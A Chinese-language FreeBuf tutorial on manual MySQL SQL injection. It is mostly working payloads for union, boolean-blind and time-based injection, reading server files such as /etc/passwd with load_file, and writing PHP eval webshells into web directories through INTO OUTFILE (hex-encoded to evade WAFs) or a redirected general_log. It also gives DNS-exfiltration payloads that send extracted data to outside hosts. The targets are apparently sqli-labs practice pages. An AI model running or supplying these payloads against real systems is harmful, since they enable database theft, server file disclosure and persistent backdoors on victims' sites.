freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

SQL手工注入入门教程
2021-07-26 13:24:58

mysql基本hack函数:

mid

SELECT MID(ColumnName, Start [, Length]) FROM TableName

LEFT(str,len)

返回字符串str的最左面len个字符

ASCII(str) =ORD

返回字符串str的最左面字符的ASCII代码值。如果str是空字符串,返回0。如果str是NULL,返回NULL

SUBSTR(str,pos,len)

从str中多少个字符开始,截取多少位

CAST

SELECT CAST(’12’ AS int)     将目标str转化为目标数据类型

IFNULL(expr1,expr2)

如果expr1不是NULL,IFNULL()返回expr1,否则它返回expr2

updatexml() extracavalue()

判断字符的一些语句:

▲left(database(),1)>’s’ //left()函数

Explain:database()显示数据库名称,left(a,b)从左侧截取 a 的前 b 位

▲ascii(substr((select table_name from information_schema.tables where table_schema =database()limit 0,1),1,1))=101 –+ //substr()函数,ascii()函数

Explain:substr(a,b,c)从 b 位置开始,截取字符串 a 的 c 长度。Ascii()将某个字符转换 为 ascii 值

▲ascii(substr((select database()),1,1))=98

▲ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))>98%23 //ORD()函数,MID()函数

Explain:mid(a,b,c)从位置 b 开始,截取 a 字符串的 c 位

Ord()函数同 ascii(),将字符转为 ascii 值

LOAD_FILE

加载本地文件(服务器上)

-1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))

说明:“char(99,58,47,98,111,111,116,46,105,110,105)”就是“c:/boot.ini”的 ASCII 代码

-1 union select 1,1,1,load_file(0x633a2f626f6f742e696e69)

说明:“c:/boot.ini”的 16 进制是“0x633a2f626f6f742e696e69”

select load_file(‘c:\\wamp\\bin\\mysql\\mysql5.6.17\\my.ini’) into outfile‘c:\\wamp\\www\\test.php’

可以将其他路径的文件导到web目录来供访问,一般用于把包含一句话木马的文件导出成php来链接

get与post请求注释符的区别

一般很容易在各种教程上看到 ‘ or and 1=1 #  或 ‘ or and 1=1 –+

但可能没人告诉你什么情况下该用什么。

#是sql语句中的注释符,+ 在http请求中表示空格,但get与post中,由于http请求的转义,请求到后端sql语句拼接的时候可能会不一样。

get请求的时候一般用:

1′ and 1=1 –+

//这里最后的空格用+,在请求的时候不会被urlencode,到后端sql语句中就会成为一个正常的空格,– 后面的语句就会被注释。

但是如果在post里最后用加号的话就会被urlencode成%2B,实际的空格被转义才被转义成+

uname=1%27+or+1%3D1+--%2B&passwd=111&submit=Submit

post请求的时候一般用:

这时候,在post的情况下,最后一个空格,可以直接用空格,不用+来代替,因为post参数 空格会自动转成+;

而之所以不在get注入的时候使用“#”来注释,是因为,请求时,“#”不会被urlencode为“%23”,被识别为锚链接,无法传递至sql语句中。

找一个库中有哪些表名:

select table_name from information_schema where table_schema ="security";

找一个表中有哪些列名:

select column_name from information_schema where table_name ="eamils";

AND与OR的区别

需要理解 and和or的区别

3108438e868cd57474bd4b4ec72d8f77.png

场景举例:

没有订单可以测的情况下,只能用or

080268481a9017e50147129c32e0256c.png

union联合查询注入

当union前面的语句为false时才会执行后面语句(这里一定先学习union查询的用法)

如以下,union语句前 先构建一个错误条件。

www.vuln.cn/sql/less-1/?id=1' and 1=2 union select 1,user(),database() --+
www.vuln.cn/sql/less-1/?id=-1' union select 1,user(),database() --+

union与order by 后面跟着的列数是跟前面的select 列数相同的,不是该表的总列数

总列数判断为:

www.vuln.cn/sql/less-10/?id=1" and  if((select count(*) from information_schema.columns where table_name = "emails")=2,sleep(5),1) --+

解释:如果列数为2,则延时5秒响应。

判断某列是否存在也可以用:

www.vuln.cn/sql/less-10/?id=1" and exists (select username from admin)

当union查同库其他表时,需要知道库名:

如:

http://www.vuln.cn/?id=-1 uni%00on se%00lect id,hash fr%00om sql3.key

读文件/写shell

这里包含了网上常见或不常见的导出一句话的骚操作

支持union的方法,最常规的方式:

www.vuln.cn/sql/less-10/?id=-1" union select 1,user(),3 into outfile "C:\\test.txt" --+

16进制写shell

www.vuln.cn/sql/less-10/?id=-1" union select 0x3c,0x3f,0x6576616C28245F504F53545B785D293B3F3E into outfile "C:\\test.php" --+

其中上面的16 进制组合成的是一个一句话,其实这样的sql可以过waf

<    ?   eval($_POST[x]);?>

利用分隔符写shell

如果不支持union,可以用分隔符导出一句话,当然字段数要大于2。

select * from admin where id=1 into outfile ‘F:\WWW\phpinfo.php’ fields terminated by ‘<? phpinfo(); ?>’%23     #分隔符也可以用16进制表示
select exp(~(select * from(select 'hello')a)) into outfile 'C:/out.txt';  //但是只能写一个0进去。

修改sql日志路径到web下的一个php文件

show variables like '%general%';  #查看配置set global general_log = on;  #开启general log模式set global general_log_file = '/var/www/html/1.php';   #设置日志目录为shell地址 select '<?php eval($_POST[cmd]);?>'  #写入shell

读文件:

select exp(~(select*from(select load_file('/etc/passwd'))a));
mysql> UPDATE table_test
    -> SET blob_col=LOAD_FILE('/tmp/picture')
        -> WHERE id=1;

基于布尔值的盲注

可以通过响应的不同可以判断sql语句是否正确

枚举字符来判断字符是否存在

mysql的一些特征:

select 1 from information_schema.tables where table_schema="security";     这种情况后面只要为真,就会返回1
select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1;

当试探第二个表的时候并不是改为limit1,1,因为limit针对的是条件筛选后的过滤,所以测试其他表的时候,继续修改正则即可,如果us[a-z]为1,ua[a-z],说明至少有两个表,一个表以us开头,另一个ua开头

ascii(substr((select table_name information_schema.tables where tables_schema=database()limit 0,1),1,1))=101    这种情况取第二个表的时候就需要limit 2,1了,因为表的排序是固定不会变的

select user() like ‘ro%’,有匹配的时候会返回1,

标准的正则布尔测试:

select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1);

比如判断数据库版本:

http://www.vuln.cn/sqllib/Less-5/?id=1%27and%20left(version(),1)=5%23

判断是否条件成立的其他方法:

http://www.vuln.cn/index.php?a=examtraining&c=index&id=1 and (ord(substr(database() ,1,1))-1010) &m=member&type=TF

盲注流程

获取库名:

and%20ord(substr(database(),1,1))>80+–+

获取表名:

利用 substr() ascii()函数进行尝试

http://www.vuln.cn/sqllib/Less-5/?id=1%27and ascii(substr((select table_name information_schema.tables where tables_schema=database() limit 0,1),1,1))=101
http://www.vuln.cn/sqllib/Less-5/?id=1%27and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>80--+

获取字段名:

http://www.vuln.cn/sqllib/Less-5/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1)--+
and ord(substr((select column_name from information_schema.columns where table_name="emails" limit 0,1),1,1))=105+--+

获取表数据:

http://www.vuln.cn/sqllib/Less-5/?id=1%27 and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))= 68--+
and ord(mid((select id from emails order by id limit 0,1),1,1))<105+--+

通过dns获取盲注数据:http://www.vuln.cn/6805

由于union后必须跟上与前面同样的字段数,所以需要把load_file放在其中,非union直接select load_file即可

dns获取盲注数据示例:

http://www.vuln.cn/SQL/Less-8/?id=1%27+union select 1,LOAD_FILE(CONCAT('\\\\',(select id from emails limit 0,1),'.t00ls.af6160db0692ac54d19b613b0b01a78c.tu4.org\\foobar')),3 --+
http://localhost/SQL/Less-9/?id=1%27+union select 1,LOAD_FILE(CONCAT('\\\\',database(),'.t00ls.af6160db0692ac54d19b613b0b01a78c.tu4.org\\foobar')),3 --+

\\foobar  后面要有一串任意字符,访问远程目录的意思,所以这个“foobar”可以用任意字符替换。

还可以:

select id from admin where id=1 and if((select load_file(concat('\\\\',(select database()),'.ceye.io\\abc'))),1,1);

延时注入

适用于当我们测试的时候没有任何回显来判断是否有注入,比如订单搜索,比如当sql错误的时候返回与正确的相同,我们就无法通过回显差异来判断注入

如下图代码,成立与否页面不变化

所以就需要通过判断是否延时来确认是否有注入

http://www.vuln.cn/sqllib/Less-9/?id=1'and If(ascii(substr((select column_name from information _schema.columns where table_name='users' limit 0,1),1,1))=105,1,sleep(5))--+
http://www.vuln.cn/sql/less-9/?id=1' and if((ord(substr(user(),1,1))=114),sleep(5),1) --+

如果过滤逗号,可以:

show fields from `tiny_nav` where field='id' and sleep(('a'=(select name from tiny_manager where id=3 union select 'a' order by 1 limit 1))*5)

还可以利用 union select 加 order by 逐字猜解…

假设,name 是 admin

当 猜出第一个字母为 ‘a’ 时,’a’=’a’及真。用 0,1表示的话就是1,然后 sleep(1*5),如果是假,那就是sleep(0*5)…

先基本判断有没有延时,然后在load_file来dns查询

http://www.vuln.cn/SQL/Less-8/?id=1%27+and sleep(5) --+

可以

www.www.vuln.cn/sql/less-10/?id=1" and sleep(5) order by 8 --+

post注入

最大的区别在于注释符的使用,and改为or而已

如:

') or (ord(substr(user(),1,1))>1#

交流学习v:Memory20000427
qq:3542167150


# 渗透测试 # 黑客 # web安全 # 网络安全技术
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者